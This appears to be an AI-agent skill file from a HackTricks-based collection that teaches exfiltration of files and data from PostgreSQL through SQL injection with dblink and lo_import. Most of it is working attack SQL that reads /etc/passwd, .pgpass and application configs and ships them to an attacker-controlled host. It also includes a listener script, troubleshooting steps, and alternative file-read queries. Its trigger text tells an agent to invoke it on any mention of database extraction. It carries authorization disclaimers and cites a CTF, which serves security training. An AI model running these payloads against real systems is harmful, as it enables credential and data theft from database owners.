Hacktricks-skills postgresql-dblink-lo-import-exfiltration
PostgreSQL data exfiltration using dblink and lo_import functions. Use this skill whenever the user needs to extract data from a PostgreSQL database through SQL injection, mentions dblink, lo_import, file exfiltration, database data extraction, CTF challenges involving PostgreSQL, or any scenario where they need to bypass database restrictions to read files or export data. This is for authorized security testing and CTF challenges only.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration/SKILL.MDPostgreSQL dblink/lo_import Data Exfiltration
This skill covers advanced PostgreSQL data exfiltration techniques using
dblink and lo_import functions. These methods allow reading files from the database server's filesystem and exfiltrating data through SQL injection vulnerabilities.
⚠️ Authorization Required
Only use these techniques on systems you own or have explicit written permission to test. Unauthorized use is illegal and unethical.
Overview
PostgreSQL provides several functions that can be exploited during SQL injection to read arbitrary files from the database server:
- Imports a file into the database as a large object and returns its OIDlo_import()
- Executes queries on remote databases and returns resultsdblink()
- Retrieves data from a large object by OIDlo_get()
Technique 1: lo_import + dblink Exfiltration
How it works
- Use
to load a file into PostgreSQL's large object storagelo_import() - Use
to query the large object data and send it to an external serverdblink() - The attacker's server receives the exfiltrated data
Basic Pattern
-- Step 1: Import file into large object storage SELECT lo_import('/path/to/target/file.txt'); -- Returns: OID (e.g., 12345) -- Step 2: Exfiltrate via dblink to attacker's server SELECT dblink('host=attacker.com port=5432 dbname=test user=postgres password=pass', 'SELECT lo_get(12345)') AS result;
One-liner for SQL Injection
SELECT dblink('host=attacker.com port=5432 dbname=test user=postgres password=pass', 'SELECT lo_get(lo_import(''/'path/to/file''))') AS result;
Technique 2: dblink_connect for Persistent Access
Establish Connection
SELECT dblink_connect('myalias', 'host=attacker.com port=5432 dbname=test user=postgres password=pass');
Query Through Connection
SELECT * FROM dblink('myalias', 'SELECT lo_get(lo_import(''/'etc/passwd''))') AS (data text);
Close Connection
SELECT dblink_disconnect('myalias');
Practical Examples
Example 1: Read /etc/passwd
SELECT dblink('host=10.0.0.1 port=5432 dbname=postgres user=postgres password=postgres', 'SELECT lo_get(lo_import(''/'etc/passwd''))') AS exfil;
Example 2: Read Database Credentials File
SELECT dblink('host=attacker.com port=5432 dbname=test user=test password=test', 'SELECT lo_get(lo_import(''/'var/lib/postgresql/.pgpass''))') AS creds;
Example 3: Read Application Config
SELECT dblink('host=attacker.com port=5432 dbname=test user=test password=test', 'SELECT lo_get(lo_import(''/'var/www/html/config.php''))') AS config;
Setting Up the Attacker Server
You need a PostgreSQL server listening to receive the exfiltrated data:
# Start PostgreSQL server pg_ctl -D /var/lib/postgresql/data start # Or use a simple listener script python3 -c " import socket s = socket.socket() s.bind(('0.0.0.0', 5432)) s.listen(1) conn, addr = s.accept() print('Connection from:', addr) data = conn.recv(4096) print('Received:', data.decode()) conn.close() "
Error Handling and Debugging
Common Errors
| Error | Cause | Solution |
|---|---|---|
| PostgreSQL user lacks file read permissions | Try different file paths or escalate privileges |
| Path is incorrect | Verify file exists on target system |
| Attacker server not listening | Ensure PostgreSQL is running and accepting connections |
| Extension not loaded | Check if extension is enabled |
Check dblink Availability
SELECT * FROM pg_extension WHERE extname = 'dblink';
Check File Permissions
-- Try to import a known file SELECT lo_import('/tmp/test.txt');
CTF Challenge: fbctf2019/hr-admin-module
This technique was used to solve the fbctf2019 HR Admin Module challenge. The solution involved:
- Finding SQL injection point in the application
- Using
to load sensitive fileslo_import() - Using
to exfiltrate data to an external serverdblink() - Extracting credentials and accessing the admin panel
Reference: https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md
Alternative Exfiltration Methods
If dblink/lo_import doesn't work, try:
pg_read_binary_file
SELECT pg_read_binary_file('/path/to/file');
copy_to with dblink
SELECT dblink('host=attacker.com port=5432 dbname=test user=test password=test', 'COPY (SELECT * FROM sensitive_table) TO ''/tmp/exfil.csv''') AS result;
pg_ls_dir for Directory Enumeration
SELECT * FROM pg_ls_dir('/var/www/html/');
Best Practices
- Always have authorization - Only test systems you own or have permission to test
- Document your findings - Keep records of vulnerabilities discovered
- Minimize impact - Don't exfiltrate more data than necessary
- Clean up - Remove any large objects created during testing
- Report responsibly - Share findings with system owners
Cleanup
After testing, remove created large objects:
-- List large objects SELECT * FROM pg_largeobject_metadata; -- Delete specific large object SELECT lo_unlink(12345);
When to Use This Skill
- CTF challenges involving PostgreSQL SQL injection
- Authorized penetration testing of PostgreSQL databases
- Security research and education
- Understanding PostgreSQL security vulnerabilities
- Bug bounty hunting on PostgreSQL applications
Related Skills
- SQL injection fundamentals
- PostgreSQL privilege escalation
- Database security assessment
- Web application penetration testing